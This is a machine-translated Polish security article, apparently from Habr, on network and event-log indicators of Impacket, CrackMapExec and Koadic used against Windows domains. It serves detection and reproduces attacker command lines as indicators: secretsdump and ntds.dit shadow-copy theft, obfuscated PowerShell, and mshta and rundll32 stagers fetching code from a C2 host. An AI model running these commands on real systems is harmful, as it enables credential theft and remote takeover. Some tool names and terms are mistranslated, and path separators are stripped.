Jak wykryć ataki na infrastrukturę Windows: badanie narzędzi hakerskich

Jak wykryć ataki na infrastrukturę Windows: badanie narzędzi hakerskich

Liczba ataków w sektorze korporacyjnym rośnie z każdym rokiem: na przykład w 2017 roku zanotowano o 13% więcej unikalnych incydentów niż w 2016 r. i na koniec 2018 r. - 27% więcej incydentówniż w poprzednim okresie. W tym także te, gdzie głównym narzędziem pracy jest system operacyjny Windows. W latach 2017-2018 APT Dragonfly, APT28, APT MuddyWoda przeprowadził ataki na organizacje rządowe i wojskowe w Europie, Ameryce Północnej i Arabii Saudyjskiej. Użyliśmy do tego trzech narzędzi - Paczka, CrackMapExec и Koadic. Ich kod źródłowy jest otwarty i dostępny na GitHubie.

Warto zauważyć, że narzędzia te nie służą do wstępnej penetracji, ale do opracowania ataku w obrębie infrastruktury. Atakujący używają ich na różnych etapach ataku po przeniknięciu obwodu. Nawiasem mówiąc, jest to trudne do wykrycia i często tylko przy pomocy technologii identyfikowanie śladów kompromisów w ruchu sieciowym lub narzędzia, które na to pozwalają wykryć aktywne działania atakującego po przedostaniu się przez niego do infrastruktury. Narzędzia zapewniają różnorodne funkcje, od przesyłania plików po interakcję z rejestrem i wykonywanie poleceń na zdalnym komputerze. Przeprowadziliśmy badanie tych narzędzi, aby określić ich aktywność sieciową.

Co musieliśmy zrobić:

  • Zrozum, jak działają narzędzia hakerskie. Dowiedz się, co atakujący muszą wykorzystać i z jakich technologii mogą skorzystać.
  • Znajdź to, czego nie wykryją narzędzia bezpieczeństwa informacji w pierwszych fazach ataku. Fazę rozpoznania można pominąć, ponieważ atakujący jest napastnikiem wewnętrznym lub wykorzystuje lukę w infrastrukturze, która nie była wcześniej znana. Możliwe staje się przywrócenie całego łańcucha jego działań, stąd chęć wykrycia dalszego ruchu.
  • Wyeliminuj fałszywe alarmy z narzędzi do wykrywania włamań. Nie wolno nam zapominać, że w przypadku wykrycia pewnych działań na podstawie samego rozpoznania możliwe są częste błędy. Zwykle w infrastrukturze istnieje wystarczająca liczba sposobów, na pierwszy rzut oka nie do odróżnienia od legalnych, w celu uzyskania jakichkolwiek informacji.

Co te narzędzia dają atakującym? Jeśli jest to Impacket, atakujący otrzymują dużą bibliotekę modułów, które można wykorzystać na różnych etapach ataku, który następuje po przełamaniu obwodu. Wiele narzędzi korzysta wewnętrznie z modułów Impacket - na przykład Metasploit. Posiada dcomexec i wmiexec do zdalnego wykonywania poleceń, secretsdump do pobierania kont z pamięci dodanych z Impacket. W rezultacie prawidłowe wykrycie aktywności takiej biblioteki zapewni wykrycie pochodnych.

To nie przypadek, że o CrackMapExec (lub po prostu CME) twórcy napisali „Powered by Impacket”. Dodatkowo CME posiada gotową funkcjonalność dla popularnych scenariuszy: Mimikatz do pozyskiwania haseł lub ich skrótów, implementacja Meterpretera lub agenta Empire do zdalnego wykonywania oraz Bloodhound na pokładzie.

Trzecim narzędziem, które wybraliśmy, był Koadic. Jest całkiem nowy, został zaprezentowany na międzynarodowej konferencji hakerskiej DEFCON 25 w 2017 roku i wyróżnia się niestandardowym podejściem: działa poprzez HTTP, Java Script i Microsoft Visual Basic Script (VBS). Takie podejście nazywa się życiem poza ziemią: narzędzie wykorzystuje zestaw zależności i bibliotek wbudowanych w system Windows. Twórcy nazywają go COM Command & Control, w skrócie C3.

UDERZENIE

Funkcjonalność Impacketa jest bardzo szeroka, począwszy od rozpoznania wewnątrz AD i zbierania danych z wewnętrznych serwerów MS SQL, po techniki uzyskiwania poświadczeń: jest to atak przekaźnikowy SMB i uzyskiwanie pliku ntds.dit zawierającego skróty haseł użytkowników z kontrolera domeny. Impacket wykonuje także polecenia zdalnie przy użyciu czterech różnych metod: WMI, usługi zarządzania harmonogramem systemu Windows, DCOM i SMB, do czego wymaga poświadczeń.

Zrzut sekretów

Rzućmy okiem na secretsdump. Jest to moduł, który może być ukierunkowany zarówno na komputery użytkowników, jak i kontrolery domeny. Można go wykorzystać do uzyskania kopii obszarów pamięci LSA, SAM, SECURITY, NTDS.dit, dzięki czemu można go zobaczyć na różnych etapach ataku. Pierwszym krokiem w działaniu modułu jest uwierzytelnienie poprzez SMB, które wymaga podania hasła użytkownika lub jego skrótu, aby automatycznie przeprowadzić atak Pass the Hash. Następnie pojawia się żądanie otwarcia dostępu do Menedżera kontroli usług (SCM) i uzyskania dostępu do rejestru za pośrednictwem protokołu winreg, za pomocą którego osoba atakująca może poznać dane interesujących nas gałęzi i uzyskać wyniki za pośrednictwem protokołu SMB.

Na ryc. 1 widzimy, jak dokładnie podczas korzystania z protokołu winreg dostęp uzyskuje się za pomocą klucza rejestru z LSA. Aby to zrobić, użyj polecenia DCERPC z kodem operacji 15 - OpenKey.

Jak wykryć ataki na infrastrukturę Windows: badanie narzędzi hakerskich
Ryż. 1. Otwarcie klucza rejestru przy użyciu protokołu winreg

Następnie po uzyskaniu dostępu do klucza wartości zapisywane są za pomocą polecenia SaveKey z opcodem 20. Impacket robi to w bardzo specyficzny sposób. Zapisuje wartości do pliku, którego nazwa jest ciągiem 8 losowych znaków z rozszerzeniem .tmp. Dodatkowo dalsze przesyłanie tego pliku odbywa się poprzez SMB z katalogu System32 (rys. 2).

Jak wykryć ataki na infrastrukturę Windows: badanie narzędzi hakerskich
Ryż. 2. Schemat uzyskania klucza rejestru ze zdalnej maszyny

Okazuje się, że taką aktywność w sieci można wykryć poprzez zapytania do określonych gałęzi rejestru przy użyciu protokołu winreg, określonych nazw, poleceń i ich kolejności.

Moduł ten pozostawia również ślady w dzienniku zdarzeń systemu Windows, dzięki czemu jest łatwy do wykrycia. Na przykład w wyniku wykonania polecenia

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

W dzienniku systemu Windows Server 2016 zobaczymy następującą kluczową sekwencję zdarzeń:

1. 4624 - zdalne logowanie.
2. 5145 - sprawdzanie praw dostępu do zdalnej usługi winreg.
3. 5145 - sprawdzenie praw dostępu do plików w katalogu System32. Plik ma losową nazwę wymienioną powyżej.
4. 4688 - utworzenie procesu cmd.exe uruchamiającego vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - utworzenie procesu komendą:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - utworzenie procesu komendą:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - utworzenie procesu komendą:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smexec

Podobnie jak wiele narzędzi poeksploatacyjnych, Impacket posiada moduły do ​​zdalnego wykonywania poleceń. Skoncentrujemy się na smbexec, który udostępnia interaktywną powłokę poleceń na zdalnym komputerze. Moduł ten wymaga również uwierzytelnienia za pośrednictwem protokołu SMB za pomocą hasła lub skrótu hasła. Na ryc. Na rysunku 3 widzimy przykład działania takiego narzędzia, w tym przypadku jest to lokalna konsola administratora.

Jak wykryć ataki na infrastrukturę Windows: badanie narzędzi hakerskich
Ryż. 3. Interaktywna konsola smbexec

Pierwszym krokiem smbexec po uwierzytelnieniu jest otwarcie SCM za pomocą polecenia OpenSCManagerW (15). Zapytanie jest godne uwagi: pole MachineName to DUMMY.

Jak wykryć ataki na infrastrukturę Windows: badanie narzędzi hakerskich
Ryż. 4. Żądanie otwarcia Menedżera kontroli usług

Następnie tworzony jest serwis za pomocą polecenia CreateServiceW (12). W przypadku smbexec za każdym razem widzimy tę samą logikę konstrukcji poleceń. Na ryc. Kolor zielony oznacza niezmienne parametry polecenia, kolor żółty oznacza, co atakujący może zmienić. Łatwo zauważyć, że nazwę pliku wykonywalnego, jego katalog i plik wyjściowy można zmienić, ale resztę jest znacznie trudniej zmienić bez zakłócania logiki modułu Impacket.

Jak wykryć ataki na infrastrukturę Windows: badanie narzędzi hakerskich
Ryż. 5. Poproś o utworzenie usługi za pomocą Menedżera kontroli usług

Smbexec pozostawia również oczywiste ślady w dzienniku zdarzeń systemu Windows. W dzienniku systemu Windows Server 2016 interaktywnej powłoki poleceń z poleceniem ipconfig zobaczymy następującą sekwencję klawiszy zdarzeń:

1. 4697 — instalacja usługi na komputerze ofiary:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - utworzenie procesu cmd.exe z argumentami z punktu 1.
3. 5145 - sprawdzenie praw dostępu do pliku __output w katalogu C$.
4. 4697 — instalacja usługi na komputerze ofiary.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - utworzenie procesu cmd.exe z argumentami z punktu 4.
6. 5145 - sprawdzenie praw dostępu do pliku __output w katalogu C$.

Impacket jest podstawą do rozwoju narzędzi ataku. Obsługuje prawie wszystkie protokoły w infrastrukturze Windows i jednocześnie ma swoje charakterystyczne cechy. Oto konkretne żądania winreg i wykorzystanie API SCM z charakterystycznym tworzeniem poleceń, formatem nazwy pliku i udziałem SMB SYSTEM32.

CRACKMAPEXEC

Narzędzie CME zostało zaprojektowane przede wszystkim w celu automatyzacji rutynowych działań, które osoba atakująca musi wykonać, aby przedostać się w sieci. Umożliwia współpracę ze znanym agentem Imperium i Meterpreterem. Aby wykonywać polecenia w tajemnicy, CME może je zaciemnić. Korzystając z Bloodhound (oddzielnego narzędzia rozpoznawczego), osoba atakująca może zautomatyzować wyszukiwanie aktywnej sesji administratora domeny.

Ogar

Bloodhound jako samodzielne narzędzie pozwala na zaawansowany rozpoznanie w sieci. Zbiera dane o użytkownikach, maszynach, grupach, sesjach i jest dostarczany w postaci skryptu PowerShell lub pliku binarnego. Do gromadzenia informacji wykorzystywane są protokoły LDAP lub SMB. Moduł integracji CME umożliwia pobranie Bloodhounda na komputer ofiary, uruchomienie i odebranie zebranych danych po wykonaniu, automatyzując w ten sposób działania w systemie i czyniąc je mniej zauważalnymi. Powłoka graficzna Bloodhound prezentuje zebrane dane w formie wykresów, co pozwala znaleźć najkrótszą drogę od komputera atakującego do administratora domeny.

Jak wykryć ataki na infrastrukturę Windows: badanie narzędzi hakerskich
Ryż. 6. Interfejs Bloodhounda

Aby uruchomić na komputerze ofiary, moduł tworzy zadanie przy użyciu ATSVC i SMB. ATSVC to interfejs do pracy z Harmonogramem zadań systemu Windows. CME wykorzystuje swoją funkcję NetrJobAdd(1) do tworzenia zadań w sieci. Przykład tego, co wysyła moduł CME pokazano na rys. 7: To jest wywołanie polecenia cmd.exe i zaciemniony kod w postaci argumentów w formacie XML.

Jak wykryć ataki na infrastrukturę Windows: badanie narzędzi hakerskich
Ryc.7. Tworzenie zadania poprzez CME

Po przekazaniu zadania do wykonania maszyna ofiary uruchamia samego Bloodhounda, co widać w ruchu ulicznym. Moduł charakteryzuje się zapytaniami LDAP w celu uzyskania standardowych grup, listy wszystkich komputerów i użytkowników w domenie oraz uzyskania informacji o aktywnych sesjach użytkowników poprzez żądanie SRVSVC NetSessEnum.

Jak wykryć ataki na infrastrukturę Windows: badanie narzędzi hakerskich
Ryż. 8. Uzyskanie listy aktywnych sesji poprzez SMB

Dodatkowo uruchomieniu Bloodhounda na komputerze ofiary z włączoną funkcją audytu towarzyszy zdarzenie o identyfikatorze 4688 (tworzenie procesu) i nazwie procesu «C:WindowsSystem32cmd.exe». Godne uwagi są argumenty wiersza poleceń:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Produkty Enum_av

Moduł enum_avproducts jest bardzo ciekawy z punktu widzenia funkcjonalności i implementacji. Usługa WMI umożliwia użycie języka zapytań WQL do pobierania danych z różnych obiektów systemu Windows, co zasadniczo wykorzystuje ten moduł CME. Generuje zapytania do klas AntiSpywareProduct i AntiМirusProduct dotyczące narzędzi ochronnych zainstalowanych na komputerze ofiary. W celu pozyskania niezbędnych danych moduł łączy się z przestrzenią nazw rootSecurityCenter2, następnie generuje zapytanie WQL i otrzymuje odpowiedź. Na ryc. Rysunek 9 przedstawia treść takich żądań i odpowiedzi. W naszym przykładzie znaleziono program Windows Defender.

Jak wykryć ataki na infrastrukturę Windows: badanie narzędzi hakerskich
Ryż. 9. Aktywność sieciowa modułu enum_avproducts

Często audyt WMI (Trace WMI-Activity), w którego zdarzeniach można znaleźć przydatne informacje o zapytaniach WQL, może być wyłączony. Jeśli jednak jest włączona, to po uruchomieniu skryptu enum_avproducts zapisane zostanie zdarzenie o identyfikatorze 11. Będzie ono zawierać nazwę użytkownika, który wysłał żądanie oraz nazwę w przestrzeni nazw rootSecurityCenter2.

Każdy z modułów CME miał swoje własne artefakty, czy to specyficzne zapytania WQL, czy tworzenie określonego typu zadań w harmonogramie zadań z zaciemnianiem i aktywnością specyficzną dla Bloodhounda w LDAP i SMB.

KOADIC

Cechą charakterystyczną Koadica jest wykorzystanie wbudowanych w Windows interpreterów JavaScript i VBScript. W tym sensie wpisuje się w trend życia poza ziemią – czyli nie ma zewnętrznych zależności i korzysta ze standardowych narzędzi Windows. Jest to narzędzie do pełnego dowodzenia i kontroli (CnC), gdyż po infekcji na maszynie instalowany jest „implant”, pozwalający na jej kontrolę. Taka maszyna w terminologii Koadica nazywa się „zombie”. Jeśli po stronie ofiary nie ma wystarczających uprawnień do pełnego działania, Koadic ma możliwość ich podniesienia za pomocą technik obejścia kontroli konta użytkownika (obejścia UAC).

Jak wykryć ataki na infrastrukturę Windows: badanie narzędzi hakerskich
Ryż. 10. Powłoka Koadyczna

Ofiara musi nawiązać komunikację z serwerem dowodzenia i kontroli. W tym celu musi skontaktować się z przygotowanym wcześniej URI i odebrać główne ciało Koadica za pomocą jednego ze stagerów. Na ryc. Rysunek 11 pokazuje przykład stagera mshta.

Jak wykryć ataki na infrastrukturę Windows: badanie narzędzi hakerskich
Ryż. 11. Inicjowanie sesji z serwerem CnC

Na podstawie zmiennej odpowiedzi WS staje się jasne, że wykonanie odbywa się poprzez WScript.Shell, a zmienne STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE zawierają kluczowe informacje o parametrach bieżącej sesji. Jest to pierwsza para żądanie-odpowiedź w połączeniu HTTP z serwerem CnC. Kolejne żądania są bezpośrednio związane z funkcjonalnością wywoływanych modułów (implantów). Wszystkie moduły Koadic działają tylko z aktywną sesją z CnC.

Mimikatz

Podobnie jak CME współpracuje z Bloodhoundem, Koadic współpracuje z Mimikatz jako oddzielnym programem i ma wiele sposobów na jego uruchomienie. Poniżej znajduje się para żądanie-odpowiedź dotycząca pobrania implantu Mimikatz.

Jak wykryć ataki na infrastrukturę Windows: badanie narzędzi hakerskich
Ryż. 12. Przenieś Mimikatza do Koadica

Możesz zobaczyć, jak zmienił się format URI w żądaniu. Zawiera teraz wartość zmiennej csrf, która odpowiada za wybrany moduł. Nie zwracaj uwagi na jej imię; Wszyscy wiemy, że CSRF jest zwykle rozumiany inaczej. Odpowiedzią był ten sam główny korpus Koadica, do którego dodano kod związany z Mimikatz. Jest dość duży, więc spójrzmy na kluczowe punkty. Tutaj mamy bibliotekę Mimikatz zakodowaną w base64, serializowaną klasę .NET, która ją wstrzyknie, oraz argumenty do uruchomienia Mimikatz. Wynik wykonania jest przesyłany przez sieć w postaci zwykłego tekstu.

Jak wykryć ataki na infrastrukturę Windows: badanie narzędzi hakerskich
Ryż. 13. Wynik uruchomienia Mimikatz na zdalnym komputerze

Wykonaj_cmd

Koadic ma również moduły, które mogą zdalnie wykonywać polecenia. Tutaj zobaczymy tę samą metodę generowania URI i znane zmienne sid i csrf. W przypadku modułu exec_cmd do treści dodawany jest kod, który może wykonywać polecenia powłoki. Poniżej przedstawiono taki kod zawarty w odpowiedzi HTTP serwera CnC.

Jak wykryć ataki na infrastrukturę Windows: badanie narzędzi hakerskich
Ryż. 14. Kod implantu exec_cmd

Do wykonania kodu wymagana jest zmienna GAWTUUGCFI ze znanym atrybutem WS. Za jego pomocą implant wywołuje powłokę, przetwarzając dwie gałęzie kodu - Shell.exec ze zwrotem wyjściowego strumienia danych oraz Shell.run bez powrotu.

Koadic nie jest typowym narzędziem, ale ma swoje własne artefakty, dzięki którym można go znaleźć w legalnym ruchu:

  • specjalne tworzenie żądań HTTP,
  • przy użyciu API winHttpRequests,
  • utworzenie obiektu WScript.Shell poprzez ActiveXObject,
  • duży plik wykonywalny.

Początkowe połączenie jest inicjowane przez stagera, dzięki czemu możliwe jest wykrycie jego aktywności poprzez zdarzenia Windows. Dla mshta jest to zdarzenie 4688, które wskazuje na utworzenie procesu z atrybutem start:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Gdy Koadic jest uruchomiony, możesz zobaczyć inne 4688 zdarzeń z atrybutami, które doskonale go charakteryzują:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

odkrycia

Trend utrzymywania się z ziemi zyskuje na popularności wśród przestępców. Na swoje potrzeby korzystają z narzędzi i mechanizmów wbudowanych w Windows. Widzimy, że popularne narzędzia Koadic, CrackMapExec i Impacket działające zgodnie z tą zasadą coraz częściej pojawiają się w raportach APT. Rośnie także liczba forków na GitHubie dla tych narzędzi i pojawiają się nowe (jest ich już około tysiąca). Trend zyskuje na popularności ze względu na swoją prostotę: napastnicy nie potrzebują narzędzi innych firm; znajdują się już na komputerach ofiar i pomagają im ominąć zabezpieczenia. Koncentrujemy się na badaniu komunikacji sieciowej: każde opisane powyżej narzędzie pozostawia swoje ślady w ruchu sieciowym; szczegółowe ich badanie pozwoliło nam nauczyć nasz produkt Wykrywanie ataków sieciowych PT wykryć je, co ostatecznie pomaga zbadać cały łańcuch incydentów cybernetycznych z ich udziałem.

Autorzy:

  • Anton Tyurin, Kierownik Działu Usług Eksperckich, Centrum Bezpieczeństwa Ekspertów PT, Pozytywne Technologie
  • Egor Podmokov, ekspert, PT Expert Security Center, Positive Technologies

Źródło: www.habr.com

Dodaj komentarz